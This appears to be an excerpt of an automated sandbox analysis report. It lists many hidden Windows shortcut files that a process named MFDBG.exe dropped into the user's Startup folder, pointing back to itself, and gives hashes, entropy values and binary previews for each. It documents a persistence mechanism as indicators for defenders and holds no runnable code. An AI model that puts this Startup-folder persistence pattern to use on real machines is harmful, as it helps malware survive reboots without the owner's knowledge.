File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917900334844935
Encrypted:	false
SSDEEP:	24:8aBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D83655C7656FC2B1329502877343144E
SHA1:	06A940BD4AE78E699205D9FAED9CEE4D529A0EEC
SHA-256:	3C69D9DFE6106FF59AAFA6AD9C56CB96D2591B86C2D644C05BE75C1257593AAA
SHA-512:	C94CD1D64CF7BB967AE3C99E1D1D25A48135F215182F28BF17BD71ECEC194CB4C017CF7E2F6D043D513874D4B400A39BBD8F6C99D88CF54AEBF0A8F20913B74B
Malicious:	false
Preview:	L..................F....".......d....V.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3cf4fb2bc9104c2ea61a56deb9ec2079.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9207977301821915
Encrypted:	false
SSDEEP:	24:83BfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C0F103C4E22D684E6E70FE918311D9D3
SHA1:	ADA9BD857E18AF76A5E6BDEEE73AEE9A4BD59402
SHA-256:	51BF36C4DF01374797C46F5ECFECED399A92F3ABC4FC23746A6D3AF2732ECE62
SHA-512:	2963D31B14CE02CE958A68EE614DE9BDF4CDA0B1F0706B42A632A447B2299EB5FFD7F0C14ABC67D822A692CF14C08FD7038B7CEA0EE3FAAC2BD8811896EAFA56
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d1202fecf3848458b701ff631d999a4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919142691332504
Encrypted:	false
SSDEEP:	24:8QBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8e2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A2D2BF1329FB0B4EA722C0851370ACEE
SHA1:	FE722ED9CE4212792703E0BCB5C7992E33BE2C50
SHA-256:	2ADE3612C4605F2A6889610D6F0B874F0BA21E01C77C425CE4247AEF62ED8ABA
SHA-512:	965090638BA47F8BC6F827DD7B59F03D129A384393D67D302006D767C51EA7FFE4F192AC8ED7632B1EBF0BDB7D52001E701FB8D135F554D5B1DCE7457B882C83
Malicious:	false
Preview:	L..................F....".......d...j,.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d7121072a974d4ba4c6c74759e32cbc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92474778738003
Encrypted:	false
SSDEEP:	24:8VkBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E41F3A92A39358E61D5E86F361F0EAEC
SHA1:	EC112FA4AF186240B0222F40796094007391BD0E
SHA-256:	B0EE941F54571D72D264E0D9C22182899CFD28386C6E67350A24E75EC0057A79
SHA-512:	0540D986C56242114E8A1B296A5E1F74EF673526C7FA28D726B72ED56FC7919D6788620687D8443812F7531545C436261EA087C811DD8C1FC504E32E53E8F564
Malicious:	false
Preview:	L..................F....".......d...(.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....c.;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3de4ac887e5e4b0f9bb997dc3648a320.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9286528124950335
Encrypted:	false
SSDEEP:	24:87Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	89BD2C8D0572A1A1CDE43F48B8C37D38
SHA1:	10638C0F7EEABAB362701A2969D955A28032027E
SHA-256:	72889053B37C853A8D70E278C35086A3F081FB7C4FB38EF3DE42F5F3159A13A4
SHA-512:	4DFC38FC33BCE082AC096FD67F1DB5D6A1D9FBC176513A8B25CE6EE4046FFC74989A20B78D7240332F3487089AAE66610EA0C12CB3EDA81305E34B7DD894D756
Malicious:	false
Preview:	L..................F....".......d...w.)&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3e80e2e5fb5a4b12923ba288d4966d27.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919410323512061
Encrypted:	false
SSDEEP:	24:8BrBfpcH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BdDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D3AD051CE93AF4435461707DBC834519
SHA1:	F46806CC313C0D33957E9BE95685BB676EAD63DA
SHA-256:	58CA0A50491D2B1C14436CF2996EE671A627C50B744BDEE92502ADA5EAB9CEA5
SHA-512:	144142A9D899B09921F29E9CD3113EF7A9EDC207AFE83AA713B4CAB777E28A7D7B0F760FA93CA1ABF4CC658CB44058837383FBBB1878940C3FF2D2E08F77AD94
Malicious:	false
Preview:	L..................F....".......d....Ik.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....f.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3e8a65bbcd4441aa9dd1fb02379a9873.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919788701963929
Encrypted:	false
SSDEEP:	24:8hBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87DEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2CEA95D4AC34B950B5E415480D3FAF61
SHA1:	736C227DEFD07D35120B018D9B811C0A731E5485
SHA-256:	3223774DB49A476D4535C80757E5669CD44FE000B22332CEAF9C35DF021FE42B
SHA-512:	3A3EEBC7494571C45AD69B31B11BC94AD7D08D2D0932847B4F68A6868117D9FE4F5DC8A1DB9A62ECB3010318D366D023AE2DDEB806DCACA7353DE27A53C9C405
Malicious:	false
Preview:	L..................F....".......d....P.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ec4d02d64774ed19afa29e8bb8ddc6c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917061243517952
Encrypted:	false
SSDEEP:	24:8aBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F1E8FEB5EAC8489058A83FE2C3D4735E
SHA1:	216D8CE128D73CC0FEC731BFAC41687F280459BF
SHA-256:	9C17DDC23336ED1E9A1027DFF9C57CE2D822C21DD457295DA4A27CAB1C5C2A55
SHA-512:	500FB27AF9C8F6E156D8BBC80824C675A13F76AB0350F3C5F0AFABFB38DE6C21C98B7E05693EF06FEC334DE35A9E12C630058CF7DAF655B93278DD31FC59676D
Malicious:	false
Preview:	L..................F....".......d...d3.&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f1cc971813b4e2f95fd307f918411dc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925118729885994
Encrypted:	false
SSDEEP:	24:8XBfs68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1B26B0EB2BD5BCBDA5EEB5CD7A703EC6
SHA1:	2FE9C4FE8144BEF97F951C3371B08D582EA0E7AD
SHA-256:	B5815968E66D674AC8A9E8C9F32D22E2A200924ADBF4DAC01C902A1A1A97F588
SHA-512:	CB50C7FB734500D443F770A12F8B440E0E4D2DB42FE7586BEAD64A07F5B26EE7D9F2FD5A311D39F70559E2F8024DBA08A78B6C47B46B5E6FCE7090C7D7875BF7
Malicious:	false
Preview:	L..................F....".......d....K..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...p...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f3cb5a6943a491b965f0530dee379e1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927964954300205
Encrypted:	false
SSDEEP:	24:8/3BfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8p4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	5F317B3A629363F7004BC5E7AF655C68
SHA1:	1E85112E552BE05FF9A30222DE4F50469F23F909
SHA-256:	132D82FE6BEC71BDF6AF6F679694E33F94523FD9E34BDC442FE550663E73E8E3
SHA-512:	D12B4FE3717204C57E6138692ACA56BCF8C3D3EBC6E9EDA5A10003A843E1BB6336B76C0A3D49E93C7F5D1C48A72F22A5C5D7C753F04DBEE00D385C91A3BDDD0A
Malicious:	false
Preview:	L..................F....".......d...K..Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f3f9ac6e3ab487097cc9adaef965328.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254249
Encrypted:	false
SSDEEP:	24:8MBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8CFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3A894CAD5B4EC889655E7B871E6AA2F4
SHA1:	ED06AA2C622CC54933D59EC59800B611E28D8256
SHA-256:	FDD588C59E80B89BDA28A01B3373CC1DED428E6B37C2C973340E530AA553263A
SHA-512:	6985FCD045FB8A1A7E2B6B73A8E70454058A16EDCB02A0596D074B9B5F7B25FE1D205042126B21B0EE9D2342F1418C6008B1D597E9454B348E163F6DB98AFF61
Malicious:	false
Preview:	L..................F....".......d...$}.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...$}.Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f9202cec72e438cbd8a0c078bd82628.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925713715038583
Encrypted:	false
SSDEEP:	24:8LBfEO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89uEvZ0yRO7DLO2zdxdRd1kyg
MD5:	90B85D2C76428D1B1C7BF5ADE87FCB72
SHA1:	C1E8A5F3241FDAA15FEAD0FC23A0A1DB5263E4E9
SHA-256:	D7B0BCB3A09F438063C9BA702E7FEF0B231F1BF06F2FBBE1EE8087659FD2906C
SHA-512:	CEF3A6409C2BAB853A11975900F887686D2744D5C280B76DF595DCE8CB45A50E4823035DBB63DB4D581C964AFB334FC64D12F471D42A670417CF60BEEEFDA731
Malicious:	false
Preview:	L..................F....".......d.....~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3fc05f65dca84656a4aacd75dc3872b6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925412886500877
Encrypted:	false
SSDEEP:	24:8QBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	36C8C485C91906D56A963E1A16169CAA
SHA1:	EEFC5972340B3E4E0D5AAE063312681CBAE09C2A
SHA-256:	3E6A4840D7F59D58746987539B2384291BE475AFA04A0B55A97DBA7E07347EAD
SHA-512:	B1F5482DFBD9A4C9CBAB58652CEDD64D160EA0EE03F57B2CC77B250915401AE734A1DF3E856CB056A6205B504645DD88B5C2C63E47A719AD61838CB58A01D9B0
Malicious:	false
Preview:	L..................F....".......d......}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....W.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_40b6f18e54b2471991f41946e627e51c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
